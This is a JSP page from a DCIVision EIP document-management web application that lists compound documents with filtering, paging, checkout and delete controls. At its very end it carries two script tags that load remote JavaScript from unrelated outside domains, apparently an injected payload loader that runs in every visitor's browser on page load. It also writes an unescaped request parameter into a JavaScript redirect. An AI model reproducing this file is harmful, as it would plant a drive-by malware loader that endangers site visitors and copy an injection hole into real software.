<%
/*
 * @(#)ListDmsCompoundDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsCompoundDocument.jsp

  This is a ListDmsCompoundDocument page.  It shows the active documents' record in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      07/11/2003
    @version            $Revision: 1.48.2.30 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsCompoundDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsCompoundDocumentForm"/>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/

  String      LIST_NAME = "dmsCompoundDocumentList";

/*  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.priority", "PRIORITY"},
                            {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                            {"dms.columnheader.item_status", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.reference_no", "REFERENCE_NO"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };*/
  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.priority", "PRIORITY"},
                            {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                            {"dms.columnheader.item_status", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"},
                            {"dms.label.description", "DESCRIPTION"},
                            {"dms.label.reference_no", "REFERENCE_NO"}
                          };

  int     COLUMN_OFFSET = 1;

  String sCurFunctionCode = Utility.isEmpty(listDmsCompoundDocumentForm.getCurFunctionCode())? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): listDmsCompoundDocumentForm.getCurFunctionCode();


  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String rootID = listDmsCompoundDocumentForm.getRootID();
  String parentID = listDmsCompoundDocumentForm.getParentID();
  String documentID = request.getParameter("documentID");
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);

  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  ForumManager forumManager=new ForumManager(sessionContainer,conn);

  PermissionManager permissionManager = sessionContainer.getPermissionManager();

  String directURL=(String)request.getAttribute("directURL");
  if(Utility.isEmpty(directURL)){
//    directURL=request.getRealPath(request.getRequestURL().toString());
    directURL=request.getRequestURL().toString();
    directURL=new String(directURL.replaceAll("\\\\","/"));
    if(!Utility.isEmpty(request.getQueryString())){
      directURL=directURL+"?"+request.getQueryString().toString();
    }
    int direU=directURL.indexOf("http");
    directURL=directURL.substring(direU,directURL.length());
    int realp=directURL.indexOf(""+request.getContextPath()+"");
    directURL=directURL.substring(realp,directURL.length());
  }
  directURL=java.net.URLEncoder.encode(directURL);

  String pageURL ="";
  pageURL ="ListDmsCompoundDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
  pageURL =java.net.URLEncoder.encode(pageURL);

   //Update By Jim Zhou         2006/12/05          EIP-1098
  DmsDocument tmpDocument = new DmsDocument();
  DocumentValidateManager docValidateManager = null;
  docValidateManager = new DocumentValidateManager(sessionContainer,conn);
  Integer curDocID = null;
  if (!Utility.isEmpty(parentID)){
    curDocID = new Integer(parentID);
  }
  boolean isLightVersion = sessionContainer.getAppContainer()!=null && sessionContainer.getAppContainer().isLightVersion();
  //Update End

%>

<style type="text/css">
body { font-family : sans-serif; }

form {
    margin-bottom : 0;
}
</style>

<script language="javascript">
<!--


//Add Start

function hideNewShortcutDialog(){
  frameDlg.hide();
}

function hideRelationshipDialog(){
  frameDlg.hide();
}

function doDeleteAction(isIgnore) {
  try {
    document.listDmsCompoundDocumentForm.ignoreDeleteShortcut.value = "false";//(isIgnore ? "true" : "false");
    OpListDelete(document.listDmsCompoundDocumentForm);
  }catch(e) {

  }
  hideRelationshipDialog();
}

function popupNewShortcut(url){
  try{
    frameDlg.setUrl(url);
    cClick();
    frameDlg.show();
  } catch(e) {

  }
}


//add end

function OpCustListDelete(frm){
  var blnNotHasChecked =true;
  var urlQueryString = "";
  if (frm==null) frm = document.listDmsCompoundDocumentForm;
  var basicSelectedID = frm.basicSelectedID;
  //Add By Jim Zhou         2007/01/23          EIP-1569
  if (!basicSelectedID) {
    return;
  }
  //Add End
  if (!basicSelectedID.length) {
    basicSelectedID = new Array(basicSelectedID);
  }
  for (var i=0; i<basicSelectedID.length; i++) {
    if (basicSelectedID[i].checked) {
      blnNotHasChecked = false;
      urlQueryString += (urlQueryString=="" ? "selectID="+basicSelectedID[i].value : "&selectID="+basicSelectedID[i].value);
    }
  }
  if (blnNotHasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }
  send_request("<%= request.getContextPath() %>/jsp/dms/GetDmsRelationships2.jsp?"+urlQueryString+"&date="+new Date());
  var relationshipIds = http_request.responseText;
  if (relationshipIds.indexOf("RETIDS")!=-1) {
    var relationshipWarningURL = "<%=request.getContextPath()%>/dms/RelationshipWarning.do?" + relationshipIds.substring(relationshipIds.indexOf("RETIDS")+6);
    relationshipWarningURL += "&formName="+frm.name+"&date="+new Date();
    frameDlg.setUrl(relationshipWarningURL);
    frameDlg.show();
    //OpenCenteredPopup(relationshipWarningURL+"&formName="+frm.name+"&date="+new Date(), "RelationshipWarning", "800", "400", "scrollbars=yes,resizable=no");
  }else if (relationshipIds.indexOf("ERROR")!=-1) {
    alert("Error cause by:"+relationshipIds);
  }else {
    OpListDelete(frm);
  }
}

function CustOpCheckout(docID,parentID,rootID,curFunctionCode,docType,permission){
  if (permission.indexOf("T") != -1){
    return OpCheckout(docID,parentID,rootID,curFunctionCode,docType)
  } else {
    alert("<bean:message key='dms.message.no_right_checkout_doc'/>");
  }
}

function CustOpCheckin(documentID, parentID, rootID, curFunctionCode, lockUserID, curUserID, navMode,hasRelationship,returnTo,permission){
  if (permission.indexOf("T") != -1){
    return OpCheckin(documentID,parentID,rootID,curFunctionCode,lockUserID,curUserID,navMode,returnTo);
  } else {
    alert("<bean:message key='dms.message.no_right_checkin_doc'/>");
  }
}

<%if ("true".equals(request.getAttribute("SUCCESS_CHECKOUT"))) {%>
function INIT() {
  window.location.href = "<%= request.getContextPath() %>/dms/FileDownloadServlet?targetID=<%=documentID%>&version=TOP&isDownload=Y";
}
<% } %>
-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsCompoundDocument" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property='curFunctionCode'/>
<html:hidden property="ignoreDeleteShortcut"/>

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
        <layout:returnButton className="but-standard"/>
        <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" label="dms.label.new_compound_document" link='<%=request.getContextPath() + "/dms/MaintDmsCompoundDocument.do?navMode=" + DmsOperationConstant.CREATE_COMPOUND_DOCUMENT + "&documentType=" + DmsDocument.COMPOUND_DOC_TYPE + "&rootID=" + rootID + "&parentID=" + parentID + "&curFunctionCode=" + sCurFunctionCode + "&returnTo=" + pageURL + "&showTree=ListDmsCompoundDocument"%>'/>
        <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" label="common.label.delete" onClick="return(OpCustListDelete(listDmsCompoundDocumentForm))"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<%try {%>
<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsCompoundDocumentForm, '${listDmsCompoundDocumentForm.sortAttribute}', '${listDmsCompoundDocumentForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsCompoundDocumentForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<%
  String showDefaultProfile = com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_LIST);

   if(!Utility.isEmpty(showDefaultProfile)){
     String[] checkCustomFieldArray = (String[]) TextUtility.splitString(showDefaultProfile, "|");
     if(checkCustomFieldArray.length != 3 ){
     showDefaultProfile += "||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
     }
   }else{
     showDefaultProfile ="||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
   }
  %>
  <!-- Table Column Header Begin -->
<div id="dataGrid" class="listTable">
<table>
  <tr>
  <layout:columnHeader form="listDmsCompoundDocumentForm" editLabel="" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsCompoundDocumentForm.getSortAttribute()%>" sortOrder="<%=listDmsCompoundDocumentForm.getSortOrder()%>" copyColumn="false" showValue="<%=showDefaultProfile%>" displayObjListName="DMS_DEF_PROFILE" showAfter="5"/>
  <!--<layout:columnHeader form="listDmsCompoundDocumentForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsCompoundDocumentForm.getSortAttribute()%>" sortOrder="<%=listDmsCompoundDocumentForm.getSortOrder()%>" copyColumn="false" editColumn="true"/>-->
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>"  onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, '<%if(!DmsVersion.ARCHIVED_STATUS.equals(((DmsDocument)dmsDocument).getItemStatus()) && (!docValidateManager.checkExpireDocumentOwnerStatus(((DmsDocument)dmsDocument)))){%>click<%}%>', <%=((AbstractBaseObject)dmsDocument).getID()%>);"><!-- joan.xiong update code for bug EIP-1274 by 2006/12/25. when doc is archived or expired limit the click action.-->
    <td align="center">
      <%//Update By Jim Zhou                2006/12/05          EIP-1098
      if (DmsDocument.DOCUMENT_LINK.equals(((DmsDocument)dmsDocument).getDocumentType())){
        DmsDocument targetDoc =docRetrievalManager.getRelationshipTargetDocument(((DmsDocument)dmsDocument).getID(),((DmsDocument)dmsDocument).getDocumentType());
        if(targetDoc!=null){
          tmpDocument = targetDoc;
        }else{
          tmpDocument =(DmsDocument) dmsDocument;
        }
      }else{
        tmpDocument =(DmsDocument) dmsDocument;
      }%>
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(((DmsDocument)dmsDocument).getItemStatus()) && (!docValidateManager.checkExpireDocumentOwnerStatus(tmpDocument))) { %>
        <%if(!isLightVersion){%>
           <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
        <%}else{%>
           <logic:permission right='D' objectType='D' objectID='<%=curDocID%>'>
             <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
             <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
           </logic:permission>
        <%}%>
      <%} else {%>
          <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      <%}
      //Update End%>
    </td>
    <% //Details for Menu items
    DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
    String docItemStatus = ((DmsDocument) dmsDocument).getItemStatus();
    if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
       checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(((DmsDocument) dmsDocument).getCheckoutID());
    }

    //Permission string
    DmsDocument documentRoot = docRetrievalManager.getRootFolderByRootID(((DmsDocument) dmsDocument).getRootID());
    DmsRootDAObject dmsRootDAO =new DmsRootDAObject(sessionContainer,conn);
    DmsRoot dmsRoot=(DmsRoot)dmsRootDAO.getObjectByID(((DmsDocument) dmsDocument).getRootID());
    String permission = "";
    //String sCurFunctionCode="";
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      permission = "PERSONAL";
      //sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      //Bill add for EIP-2028
      permission = (String) permissionManager.filterDocumentPermissionByWorkflow(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((DmsDocument)dmsDocument).getID());
      //sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }    %>

    <td align="center">
      <%//Update By Jim Zhou            2006/12/05          EIP-1098
      if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) { %>
      	<a href="" onclick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<bean:write name='dmsDocument' property='documentType'/>\',  \'<bean:write name='dmsDocument' property='ID'/>\', \'<bean:write name='dmsDocument' property='parentID'/>\', \'<bean:write name='dmsDocument' property='rootID'/>\', \'<bean:write name='listLoopCnt'/>\', \'<%=docValidateManager.checkExpireDocumentOwner(tmpDocument)%>\', \'<%=checkoutHistory.getCheckoutPersonID()%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=permission%>\',null,\'<%=pageURL%>\',\'<%=dmsRoot.getRootType()%>\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
      <% } else { %>
        <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
      <% }
      //Update End%>
    </td>

    <td align="center"><%
      if (GlobalConstant.PRIORITY_HIGH.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityHigh.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_3"))%>'/><%
      } else if (GlobalConstant.PRIORITY_MEDIUM.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityMedium.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_2"))%>'/><%
      } else if (GlobalConstant.PRIORITY_LOW.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityLow.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_1"))%>'/><%
      }
    %>
    </td>
    <td nowrap >
      <nobr><dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>'/></nobr>
    </td>
    <td align="center" width="100" class="bodyVerySmall" nowrap><dms:documentStatus/></td>
    <td>
      <% if (((DmsDocument)dmsDocument).getParentID().intValue() !=0 ) { %>
      <dms:locationPath parentID="<%=((DmsDocument)dmsDocument).getParentID()%>" rootID="<%=((DmsDocument)dmsDocument).getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' returnTo='<%=pageURL%>' />
      <%}else{%>
      <bean:message key='dms.label.root'/>
      <%}%>
    </td>
    <dms:commonIndex id="setting" includeSystemProfile="true" enableDisplayFilter="true" documentBean="dmsDocument">
    <td><dms:commonIndexValue/></td>
    </dms:commonIndex>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsDocument' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='dmsDocument' property='updaterName'/></td>    
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsCompoundDocumentForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

<table cellpadding="0" cellspacing="0" border="0" align="center" width="100%">
  <tr>
    <td><jsp:include page="AlertLegend.jsp"/></td>
  </tr>
  <tr>
    <td align="center"></td>
  </tr>
</table>
<%}catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
}%>
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>